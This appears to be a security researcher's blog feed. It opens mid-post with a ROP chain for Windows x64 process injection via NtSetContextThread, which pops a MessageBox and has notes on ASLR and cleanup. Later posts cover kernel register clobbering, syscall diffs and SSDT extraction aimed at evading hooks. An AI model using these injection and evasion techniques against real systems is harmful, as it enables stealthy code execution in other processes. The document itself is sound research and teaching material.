    threadName[<span class="hljs-number">20</span>] <span class="hljs-operator">=</span> context.R8 <span class="hljs-operator">+</span> <span class="hljs-number">0x120</span>; <span class="hljs-operator">&amp;</span>STRING(<span class="hljs-string">"MessageBoxA"</span>)
    threadName[<span class="hljs-number">21</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">22</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">23</span>] <span class="hljs-operator">=</span> context.R8 <span class="hljs-operator">+</span> <span class="hljs-number">0x178</span>; <span class="hljs-comment">// &amp;procAddress</span>
    threadName[<span class="hljs-number">24</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">25</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">26</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F11AD0</span>; <span class="hljs-comment">// LdrGetProcedureAddress</span>
    threadName[<span class="hljs-number">27</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F1C551</span>; <span class="hljs-comment">// pop 5 registers (shadow stack + 1xQWORD for alignment)</span>
    <span class="hljs-comment">// shadow stack break</span>
    threadName[<span class="hljs-number">33</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F1C553</span>; <span class="hljs-comment">// pop 4 registers</span>
    threadName[<span class="hljs-number">34</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x00000000000C000B</span>; <span class="hljs-comment">// STRING("MessageBoxA")</span>
    threadName[<span class="hljs-number">35</span>] <span class="hljs-operator">=</span> context.R8 <span class="hljs-operator">+</span> <span class="hljs-number">0x130</span>;
    threadName[<span class="hljs-number">36</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x426567617373654D</span>;
    threadName[<span class="hljs-number">37</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x000000000041786F</span>;
    threadName[<span class="hljs-number">38</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F1C550</span>; <span class="hljs-comment">// populate registers</span>
    threadName[<span class="hljs-number">39</span>] <span class="hljs-operator">=</span> context.R8 <span class="hljs-operator">+</span> <span class="hljs-number">0x188</span>; <span class="hljs-comment">// &amp;message</span>
    threadName[<span class="hljs-number">40</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">41</span>] <span class="hljs-operator">=</span> context.R8 <span class="hljs-operator">+</span> <span class="hljs-number">0x190</span>; <span class="hljs-comment">// &amp;caption</span>
    threadName[<span class="hljs-number">42</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">43</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">44</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">45</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; <span class="hljs-comment">// MessageBoxA</span>
    threadName[<span class="hljs-number">46</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4E9DD1B</span>; <span class="hljs-comment">// infinite loop gadget (0xEB 0xFE) for debugging</span>
    threadName[<span class="hljs-number">47</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x00313144454E5750</span>;
    threadName[<span class="hljs-number">48</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x00747577206C6F6C</span>;
</code></pre><p>All done!</p>
<h3 id="heading-a-note-on-alignment">A note on alignment</h3>
<p><code>MessageBoxA()</code> is one of those annoying functions that backs up the <code>XMM</code> registers and just assumes the stack is 16-byte aligned. I've skipped over the details on this but you'll need to keep this in mind whenever you're building ROP chains that operate on anything that needs to be 16-byte aligned.</p>
<h2 id="heading-next-steps">Next steps</h2>
<p>I've been testing this on easy mode (on a binary that has an infinite loop so doesn't end up in a syscall when we call <code>NtSetContextThread()</code>, and doesn't appear to have ASLR enabled). We also jump out to an infinite loop gadget at the end to avoid cleanup.</p>
<h3 id="heading-identifying-and-returning-from-a-syscall">Identifying and returning from a syscall</h3>
<p>There are a few ways to figure this out, <code>RCX</code> and <code>R10</code> have some good clues, <code>RAX</code> will be set to a low value corresponding to the syscall number, and <code>RIP</code> should be quite high. We actually want to catch the thread in a syscall though, as this gives us a bunch of clues for where to offset our gadgets from. As mentioned in <a target="_blank" href="https://undev.ninja/nina-x64-process-injection/">NINA</a>, we can always set RIP to an infinite loop split instruction and jump out there (ntdll has tons to choose from) - once we're there we can do a second call to kick off our injection. You'll want to store <code>RAX</code> after relocating to the infinite loop as you'll need to put this back when cleaning up (the <code>RAX</code> you picked up in the syscall is there before the syscall itself returns).</p>
<h3 id="heading-handling-aslr">Handling ASLR</h3>
<p>The advantage of getting the thread context while it's in a syscall is that we know what it was called with (RAX), and the return address (RIP), which means we know exactly which function in ntdll was hit. We can then lookup the RVA, subtract it from RIP and we have the base of ntdll and can use that to adjust the addresses for our gadgets and function calls.</p>
<h3 id="heading-cleaning-up">Cleaning up</h3>
<p>Unless your target thread has been naughty and stored data below RSP, all you need to do is fixup <code>RSP</code>, <code>RAX</code> and <code>RIP</code>. Everything else that we clobbered also gets clobbered in a syscall so we don't care. We've left all our strings and gadget addresses in stack memory, so you're welcome to zero it out if you care, but that's an exercise for the reader.</p>
<h2 id="heading-sauce">Sauce</h2>
<p>PoC at https://github.com/samrussell/doublebarrell</p>
<p>Happy hacking!</p>
]]></content:encoded></item><item><title><![CDATA[Why NtSetContextThread destroys volatile registers]]></title><description><![CDATA[I recently came across a neat technique for process injection called NINA that uses NtSetContextThread to modify registers in a thread inside another process and does your dirty work without having to directly modify foreign memory on your own. Vario...]]></description><link>https://www.lodsb.com/why-ntsetcontextthread-destroys-volatile-registers</link><guid isPermaLink="true">https://www.lodsb.com/why-ntsetcontextthread-destroys-volatile-registers</guid><category><![CDATA[General Programming]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Thu, 30 Dec 2021 12:18:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1640864675880/kHav2eiiG.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I recently came across a neat technique for process injection called <a target="_blank" href="https://undev.ninja/nina-x64-process-injection/">NINA</a> that uses NtSetContextThread to modify registers in a thread inside another process and does your dirty work without having to directly modify foreign memory on your own. Various sources on the internet suggest that NtSetContextThread doesn't let you set volatile registers on x64 (RBX, RCX, RDX, R8, R9, R10, R11 and XMM0-5), but the NINA article rightly points out that this is only the case when returning from a syscall. If the thread is currently scheduled and in usermode, you can modify all registers and they will be updated correctly when the thread is resumed.</p>
<p>Note: If you want to follow along at home I'm doing all this on kernel 20H2, the latest Windows 10 x64 kernel at the time of writing.</p>
<p>The function we want to look at is called KiSystemCall64, and it's the function that is called when (drum roll please)... you make a syscall in x64 mode. It's a big function that basically does the following:</p>
<ol>
<li>Save state</li>
<li>Dispatch system call</li>
<li>Wait until thread is ready to run</li>
<li>Restore state</li>
<li>Return (sysret)</li>
</ol>
<p>This is why syscalls mess us up - if the thread is at all waiting it'll end up stuck at step 3 and guarantee any context changes we make are subject to the results of steps 4 and 5. The way the restore state part works is the key here. It makes a call to KiRestoreSetContextState which puts all the normal registers back to normal in two chunks:</p>
<p>Non-volatile:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1640864675880/kHav2eiiG.png" alt="image.png" /></p>
<p>Volatile:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1640864708719/i4diGW21X.png" alt="image.png" /></p>
<p>You might notice that RBP and RSP don't get restored here, that's because they're saved in the prologue to KiSystemCall64 and get restored before the ret, just like any other __fastcall x64 function. </p>
<p>Otherwise this looks good, everything gets restored, so why is it all screwy when we leave? Let's look further down KiSystemCall64 and see what happens...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1640865036145/bmIbuIVC3d.png" alt="image.png" /></p>
<p>Here we blow away R10, check if the process has an InstrumentationCallback set; if so, then we store our sysret return address in R10 so that the InstrumentationCallback can return from it. In either case, R10 is no longer what we set it to. We skip over the next couple bits to get to the end and that's where everything gets destroyed:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1640865505096/HDKKnm5S6.png" alt="image.png" /></p>
<p>Just before the sysret we do the following:</p>
<ul>
<li>RAX = result from the syscall function that was called</li>
<li>R8 and R9 are set to the RSP and RBP (and then loaded into those registers right before the sysret)</li>
<li>EDX = 0</li>
<li>Clear XMM0-5</li>
<li>RCX = return address for the sysret</li>
<li>R11 = flags for after the sysret</li>
</ul>
<p>So here's what happens, and why your volatile registers are either clobbered or zeroed out. I don't know why this is done, but I suspect it's useful to enforce the nature of volatile registers.</p>
<p>Here's the good news:</p>
<ul>
<li>You can set RIP/RBP/RSP so you can still send a thread wherever you like, even if it's inside a syscall</li>
<li>RBP and RSP get stored in R8 and R9, so if you don't care about clobbering RSP/RBP you can use that to set args 3 and 4 in a function call</li>
</ul>
<p>This does make NtSetContextThread somewhat less useful for setting up ROP/JOP chains with the exception of the NINA approach that makes use of a split instruction as an infinite loop gadget (nice find).</p>
<p>That's all for now, happy hacking!</p>
]]></content:encoded></item><item><title><![CDATA[Syscalls added/removed in Windows 11 preview build 22523]]></title><description><![CDATA[After my recent work on extracting the SSDT from kernels without a debugger I synced this up with the symbols from the freely-available PDBs and ran a diff between the 20H2 kernel and the latest build (22523) and here's what we see:
Syscalls removed:...]]></description><link>https://www.lodsb.com/syscalls-addedremoved-in-windows-11-preview-build-22523</link><guid isPermaLink="true">https://www.lodsb.com/syscalls-addedremoved-in-windows-11-preview-build-22523</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Fri, 24 Dec 2021 08:40:08 GMT</pubDate><content:encoded><![CDATA[<p>After my recent work on <a target="_blank" href="https://www.lodsb.com/extracting-the-ssdt-directly-from-ntoskrnlexe">extracting the SSDT from kernels without a debugger</a> I synced this up with the symbols from the freely-available PDBs and ran a diff between the 20H2 kernel and the latest build (22523) and here's what we see:</p>
<p>Syscalls removed:</p>
<ul>
<li>NtAdjustTokenClaimsAndDeviceGroups</li>
<li>NtCompleteConnectPort</li>
<li>NtCreateEventPair</li>
<li>NtCreateJobSet</li>
<li>NtDirectGraphicsCall</li>
<li>NtFilterTokenEx</li>
<li>NtFlushInstructionCache</li>
<li>NtFlushWriteBuffer</li>
<li>NtOpenEventPair</li>
<li>NtQueryPortInformationProcess</li>
<li>NtSetHighEventPair</li>
<li>NtSetHighWaitLowEventPair</li>
<li>NtSetLdtEntries</li>
<li>NtSetLowEventPair</li>
<li>NtSetLowWaitHighEventPair</li>
<li>NtUmsThreadYield</li>
<li>NtVdmControl</li>
<li>NtWaitHighEventPair</li>
<li>NtWaitLowEventPair</li>
</ul>
<p>Syscalls added:</p>
<ul>
<li>CmpPrepareToInvalidateAllHigherLayerKcbsPreCallback</li>
<li>FsRtlSyncVolumes</li>
<li>MmConfigureGraphicsPtes</li>
<li>NtChangeProcessState</li>
<li>NtChangeThreadState</li>
<li>NtCreateCpuPartition</li>
<li>NtCreateIoRing</li>
<li>NtCreateProcessStateChange</li>
<li>NtCreateThreadStateChange</li>
<li>NtOpenCpuPartition</li>
<li>NtQueryInformationCpuPartition</li>
<li>NtQueryIoRingCapabilities</li>
<li>NtQueueApcThreadEx2</li>
<li>NtReadVirtualMemoryEx</li>
<li>NtSetInformationCpuPartition</li>
<li>NtSetInformationIoRing</li>
<li>NtSubmitIoRing</li>
<li>PoRegisterDeviceNotify</li>
<li>SeAdjustObjectSecurity</li>
<li>SkIsSecureKernel</li>
</ul>
<p>Note that https://hfiref0x.github.io/syscalls.html seems to be fairly up to date with the windows 11 builds.</p>
<p>It'll be fun to see what these do and where they're used, but that's all for now.</p>
<p>PS:  <a target="_blank" href="https://github.com/samrussell/extract_ssdt">extract_ssdt</a> now has scripts to download the PDB for your kernel and dump symbols so these can be used to fill out the names for any SSDT you generate, give it a try.</p>
]]></content:encoded></item><item><title><![CDATA[Extracting the SSDT directly from ntoskrnl.exe]]></title><description><![CDATA[For any developers wanting to make their apps hard to hook and analyze, making direct syscalls to the kernel is a useful approach to look into. There are countless resources for making this happen, from  j00ru's work building a full table, to the lib...]]></description><link>https://www.lodsb.com/extracting-the-ssdt-directly-from-ntoskrnlexe</link><guid isPermaLink="true">https://www.lodsb.com/extracting-the-ssdt-directly-from-ntoskrnlexe</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Thu, 23 Dec 2021 14:20:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1640268772047/S8Y15kXQP.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>For any developers wanting to make their apps hard to hook and analyze, making direct syscalls to the kernel is a useful approach to look into. There are countless resources for making this happen, from  <a target="_blank" href="https://j00ru.vexillium.org/syscalls/nt/64/">j00ru's work building a full table</a>, to the library  <a target="_blank" href="https://github.com/jthuraisamy/SysWhispers2">SysWhispers2</a> for taking advantage of this in your own application. But how do these syscalls get extracted?</p>
<h2 id="heading-debugging-the-kernel">Debugging the kernel</h2>
<p>If we start a windows install in a virtual machine we can attach WinDbg and get access to a number of things, including a completely built System Service Descriptor Table (SSDT) at KiServiceTable, and a ton of extra clues from the symbols that Microsoft provides us. We can construct our own SSDT for a specific kernel version using the following steps:</p>
<ol>
<li>Iterate over each address in the SSDT and convert to a real address</li>
<li>Look up each address in the symbol table</li>
<li>Add the combination of index in the SSDT and name in the symbol table to map syscall numbers to function names</li>
</ol>
<p>This works, but it requires us to debug or drop a driver into a running windows instance. This isn't super hard, but it is a little more than "download this script and run it" level of easy. The other thing is that we don't get to find out what happens under the covers, and this is something I find interesting.</p>
<p>So... I started by firing up WinDbg and seeing what KiServiceTable pointed to, and came up with this:</p>
<pre><code><span class="hljs-attribute">kd</span>&gt; dd nt!KiServiceTable L<span class="hljs-number">1</span>D<span class="hljs-number">0</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808450</span>  fc<span class="hljs-number">721</span>b<span class="hljs-number">04</span> fc<span class="hljs-number">7</span>c<span class="hljs-number">8800</span> <span class="hljs-number">0256</span>ef<span class="hljs-number">02</span> <span class="hljs-number">04538500</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808460</span>  <span class="hljs-number">02</span>a<span class="hljs-number">07</span>c<span class="hljs-number">00</span> fdb<span class="hljs-number">89</span>c<span class="hljs-number">00</span> <span class="hljs-number">02739905</span> <span class="hljs-number">022</span>ce<span class="hljs-number">306</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808470</span>  <span class="hljs-number">0272</span>c<span class="hljs-number">005</span> <span class="hljs-number">022</span>c<span class="hljs-number">8</span>d<span class="hljs-number">01</span> <span class="hljs-number">027</span>e<span class="hljs-number">8000</span> <span class="hljs-number">01</span>a<span class="hljs-number">95200</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808480</span>  <span class="hljs-number">01</span>a<span class="hljs-number">85300</span> <span class="hljs-number">02</span>a<span class="hljs-number">70300</span> <span class="hljs-number">027</span>dc<span class="hljs-number">800</span> <span class="hljs-number">029</span>f<span class="hljs-number">9800</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808490</span>  <span class="hljs-number">02010</span>a<span class="hljs-number">01</span> <span class="hljs-number">02742601</span> <span class="hljs-number">0297</span>f<span class="hljs-number">300</span> <span class="hljs-number">01</span>f<span class="hljs-number">69202</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588084</span>a<span class="hljs-number">0</span>  <span class="hljs-number">0282</span>ec<span class="hljs-number">00</span> <span class="hljs-number">02435800</span> <span class="hljs-number">02786</span>d<span class="hljs-number">01</span> <span class="hljs-number">0278</span>d<span class="hljs-number">302</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588084</span>b<span class="hljs-number">0</span>  <span class="hljs-number">02937902</span> <span class="hljs-number">01</span>dd<span class="hljs-number">9</span>f<span class="hljs-number">01</span> <span class="hljs-number">01</span>c<span class="hljs-number">2</span>b<span class="hljs-number">101</span> <span class="hljs-number">025</span>f<span class="hljs-number">4505</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588084</span>c<span class="hljs-number">0</span>  <span class="hljs-number">01</span>e<span class="hljs-number">05</span>e<span class="hljs-number">00</span> <span class="hljs-number">01938503</span> <span class="hljs-number">021</span>e<span class="hljs-number">1700</span> <span class="hljs-number">044</span>bcf<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588084</span>d<span class="hljs-number">0</span>  <span class="hljs-number">022</span>e<span class="hljs-number">2</span>f<span class="hljs-number">00</span> <span class="hljs-number">02</span>a<span class="hljs-number">35</span>e<span class="hljs-number">01</span> <span class="hljs-number">023</span>ab<span class="hljs-number">700</span> <span class="hljs-number">02953402</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588084</span>e<span class="hljs-number">0</span>  <span class="hljs-number">0283</span>c<span class="hljs-number">800</span> <span class="hljs-number">027</span>de<span class="hljs-number">901</span> <span class="hljs-number">0234</span>d<span class="hljs-number">000</span> fd<span class="hljs-number">2</span>d<span class="hljs-number">2001</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588084</span>f<span class="hljs-number">0</span>  <span class="hljs-number">027</span>fee<span class="hljs-number">06</span> <span class="hljs-number">02240</span>e<span class="hljs-number">07</span> <span class="hljs-number">01</span>ac<span class="hljs-number">8</span>a<span class="hljs-number">00</span> <span class="hljs-number">01</span>a<span class="hljs-number">95401</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808500</span>  <span class="hljs-number">01</span>e<span class="hljs-number">5</span>de<span class="hljs-number">00</span> <span class="hljs-number">04</span>d<span class="hljs-number">1</span>b<span class="hljs-number">500</span> <span class="hljs-number">025</span>ff<span class="hljs-number">805</span> <span class="hljs-number">0283</span>ca<span class="hljs-number">01</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808510</span>  <span class="hljs-number">02843</span>e<span class="hljs-number">00</span> <span class="hljs-number">022</span>cd<span class="hljs-number">700</span> <span class="hljs-number">01</span>f<span class="hljs-number">54</span>c<span class="hljs-number">02</span> <span class="hljs-number">01</span>f<span class="hljs-number">00202</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808520</span>  <span class="hljs-number">0299</span>ee<span class="hljs-number">00</span> <span class="hljs-number">02483107</span> <span class="hljs-number">02</span>a<span class="hljs-number">0</span>a<span class="hljs-number">000</span> <span class="hljs-number">0233</span>ab<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808530</span>  <span class="hljs-number">04</span>d<span class="hljs-number">19</span>f<span class="hljs-number">01</span> <span class="hljs-number">0236</span>c<span class="hljs-number">606</span> <span class="hljs-number">01</span>e<span class="hljs-number">38701</span> <span class="hljs-number">02421</span>e<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808540</span>  <span class="hljs-number">01</span>f<span class="hljs-number">3</span>bd<span class="hljs-number">03</span> <span class="hljs-number">01</span>f<span class="hljs-number">0</span>bb<span class="hljs-number">00</span> <span class="hljs-number">022</span>e<span class="hljs-number">3</span>c<span class="hljs-number">00</span> <span class="hljs-number">01</span>e<span class="hljs-number">38</span>a<span class="hljs-number">01</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808550</span>  <span class="hljs-number">01</span>cb<span class="hljs-number">5000</span> <span class="hljs-number">01</span>ec<span class="hljs-number">6402</span> <span class="hljs-number">02849</span>e<span class="hljs-number">02</span> fdb<span class="hljs-number">58</span>c<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808560</span>  <span class="hljs-number">0301</span>f<span class="hljs-number">800</span> <span class="hljs-number">01</span>e<span class="hljs-number">41</span>b<span class="hljs-number">01</span> fc<span class="hljs-number">109900</span> <span class="hljs-number">04</span>d<span class="hljs-number">90</span>f<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808570</span>  <span class="hljs-number">0286</span>c<span class="hljs-number">201</span> <span class="hljs-number">02023701</span> <span class="hljs-number">027</span>ee<span class="hljs-number">303</span> <span class="hljs-number">023</span>bd<span class="hljs-number">800</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808580</span>  <span class="hljs-number">022</span>d<span class="hljs-number">6</span>b<span class="hljs-number">00</span> <span class="hljs-number">0488</span>a<span class="hljs-number">005</span> <span class="hljs-number">0488</span>a<span class="hljs-number">904</span> <span class="hljs-number">01</span>cf<span class="hljs-number">7</span>a<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808590</span>  <span class="hljs-number">02946</span>a<span class="hljs-number">01</span> <span class="hljs-number">02495201</span> <span class="hljs-number">023</span>dc<span class="hljs-number">300</span> <span class="hljs-number">01</span>e<span class="hljs-number">35100</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588085</span>a<span class="hljs-number">0</span>  <span class="hljs-number">044</span>bdf<span class="hljs-number">02</span> <span class="hljs-number">01</span>f<span class="hljs-number">00907</span> <span class="hljs-number">024</span>f<span class="hljs-number">5701</span> <span class="hljs-number">044</span>bf<span class="hljs-number">002</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588085</span>b<span class="hljs-number">0</span>  <span class="hljs-number">01</span>cb<span class="hljs-number">5</span>b<span class="hljs-number">00</span> <span class="hljs-number">0224170</span>c <span class="hljs-number">04</span>cf<span class="hljs-number">2</span>f<span class="hljs-number">00</span> <span class="hljs-number">01</span>c<span class="hljs-number">2</span>c<span class="hljs-number">201</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588085</span>c<span class="hljs-number">0</span>  <span class="hljs-number">01</span>db<span class="hljs-number">3</span>b<span class="hljs-number">00</span> <span class="hljs-number">0241</span>b<span class="hljs-number">900</span> fcd<span class="hljs-number">99200</span> <span class="hljs-number">02186301</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588085</span>d<span class="hljs-number">0</span>  <span class="hljs-number">01</span>fefe<span class="hljs-number">02</span> fcc<span class="hljs-number">9</span>bd<span class="hljs-number">00</span> fd<span class="hljs-number">3</span>cd<span class="hljs-number">603</span> fc<span class="hljs-number">800607</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588085</span>e<span class="hljs-number">0</span>  fefe<span class="hljs-number">7707</span> <span class="hljs-number">04</span>a<span class="hljs-number">2630</span>c <span class="hljs-number">04</span>a<span class="hljs-number">26</span>e<span class="hljs-number">0</span>d <span class="hljs-number">02</span>bd<span class="hljs-number">7</span>b<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588085</span>f<span class="hljs-number">0</span>  <span class="hljs-number">02</span>af<span class="hljs-number">4100</span> <span class="hljs-number">04</span>d<span class="hljs-number">55</span>c<span class="hljs-number">00</span> <span class="hljs-number">04</span>d<span class="hljs-number">55</span>f<span class="hljs-number">00</span> <span class="hljs-number">0248</span>d<span class="hljs-number">102</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808600</span>  <span class="hljs-number">02</span>bb<span class="hljs-number">340</span>c <span class="hljs-number">048</span>ecf<span class="hljs-number">00</span> <span class="hljs-number">048</span>ee<span class="hljs-number">100</span> <span class="hljs-number">02069900</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808610</span>  <span class="hljs-number">022</span>d<span class="hljs-number">9</span>b<span class="hljs-number">00</span> <span class="hljs-number">0250</span>ee<span class="hljs-number">00</span> <span class="hljs-number">04528300</span> <span class="hljs-number">02584200</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808620</span>  <span class="hljs-number">01</span>e<span class="hljs-number">2</span>b<span class="hljs-number">303</span> <span class="hljs-number">01</span>b<span class="hljs-number">02</span>a<span class="hljs-number">05</span> <span class="hljs-number">0260</span>c<span class="hljs-number">400</span> <span class="hljs-number">01</span>a<span class="hljs-number">87507</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808630</span>  <span class="hljs-number">01</span>a<span class="hljs-number">8</span>ac<span class="hljs-number">07</span> <span class="hljs-number">0249</span>a<span class="hljs-number">800</span> <span class="hljs-number">01</span>b<span class="hljs-number">16702</span> <span class="hljs-number">023</span>a<span class="hljs-number">7800</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808640</span>  <span class="hljs-number">01</span>abd<span class="hljs-number">100</span> <span class="hljs-number">01</span>ace<span class="hljs-number">300</span> <span class="hljs-number">02442500</span> <span class="hljs-number">044</span>d<span class="hljs-number">2300</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808650</span>  <span class="hljs-number">02434500</span> <span class="hljs-number">01</span>ad<span class="hljs-number">0100</span> <span class="hljs-number">024</span>a<span class="hljs-number">6</span>f<span class="hljs-number">00</span> <span class="hljs-number">044</span>c<span class="hljs-number">1000</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808660</span>  <span class="hljs-number">0292</span>c<span class="hljs-number">000</span> <span class="hljs-number">01</span>a<span class="hljs-number">8</span>dc<span class="hljs-number">02</span> <span class="hljs-number">024</span>a<span class="hljs-number">4</span>f<span class="hljs-number">02</span> <span class="hljs-number">022</span>b<span class="hljs-number">6701</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808670</span>  <span class="hljs-number">01</span>aa<span class="hljs-number">2</span>d<span class="hljs-number">02</span> <span class="hljs-number">044</span>c<span class="hljs-number">3200</span> <span class="hljs-number">028</span>d<span class="hljs-number">4</span>b<span class="hljs-number">04</span> <span class="hljs-number">021</span>ea<span class="hljs-number">900</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808680</span>  <span class="hljs-number">02</span>ec<span class="hljs-number">1800</span> <span class="hljs-number">01</span>cf<span class="hljs-number">8</span>e<span class="hljs-number">00</span> fc<span class="hljs-number">3</span>a<span class="hljs-number">2</span>b<span class="hljs-number">04</span> fdbda<span class="hljs-number">400</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808690</span>  <span class="hljs-number">0241</span>d<span class="hljs-number">400</span> <span class="hljs-number">041</span>f<span class="hljs-number">9</span>c<span class="hljs-number">00</span> fc<span class="hljs-number">8</span>f<span class="hljs-number">5200</span> fc<span class="hljs-number">39</span>f<span class="hljs-number">400</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588086</span>a<span class="hljs-number">0</span>  fd<span class="hljs-number">901</span>a<span class="hljs-number">00</span> fd<span class="hljs-number">901</span>c<span class="hljs-number">00</span> <span class="hljs-number">01888400</span> fd<span class="hljs-number">901</span>e<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588086</span>b<span class="hljs-number">0</span>  <span class="hljs-number">03</span>eb<span class="hljs-number">4300</span> <span class="hljs-number">0251</span>ae<span class="hljs-number">00</span> <span class="hljs-number">025</span>fb<span class="hljs-number">400</span> <span class="hljs-number">02237400</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588086</span>c<span class="hljs-number">0</span>  <span class="hljs-number">025</span>b<span class="hljs-number">5</span>e<span class="hljs-number">00</span> <span class="hljs-number">03</span>eb<span class="hljs-number">7100</span> <span class="hljs-number">023</span>c<span class="hljs-number">8804</span> <span class="hljs-number">04</span>dc<span class="hljs-number">0</span>b<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588086</span>d<span class="hljs-number">0</span>  <span class="hljs-number">04121900</span> <span class="hljs-number">02423400</span> <span class="hljs-number">02423201</span> <span class="hljs-number">045</span>cb<span class="hljs-number">105</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588086</span>e<span class="hljs-number">0</span>  fd<span class="hljs-number">902004</span> <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span> <span class="hljs-number">03060200</span> <span class="hljs-number">02</span>b<span class="hljs-number">93100</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588086</span>f<span class="hljs-number">0</span>  <span class="hljs-number">01</span>cedb<span class="hljs-number">00</span> <span class="hljs-number">02</span>bb<span class="hljs-number">3300</span> <span class="hljs-number">018</span>ade<span class="hljs-number">04</span> <span class="hljs-number">033</span>bbd<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808700</span>  <span class="hljs-number">01</span>c<span class="hljs-number">43605</span> <span class="hljs-number">0182</span>cb<span class="hljs-number">04</span> <span class="hljs-number">02</span>b<span class="hljs-number">33200</span> <span class="hljs-number">024</span>c<span class="hljs-number">600</span>a
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808710</span>  <span class="hljs-number">03300800</span> <span class="hljs-number">048</span>f<span class="hljs-number">3</span>a<span class="hljs-number">00</span> <span class="hljs-number">02</span>c<span class="hljs-number">31801</span> <span class="hljs-number">01</span>c<span class="hljs-number">58600</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808720</span>  <span class="hljs-number">04889704</span> <span class="hljs-number">04</span>dc<span class="hljs-number">1</span>d<span class="hljs-number">05</span> <span class="hljs-number">04</span>dc<span class="hljs-number">2</span>b<span class="hljs-number">06</span> <span class="hljs-number">02599000</span>
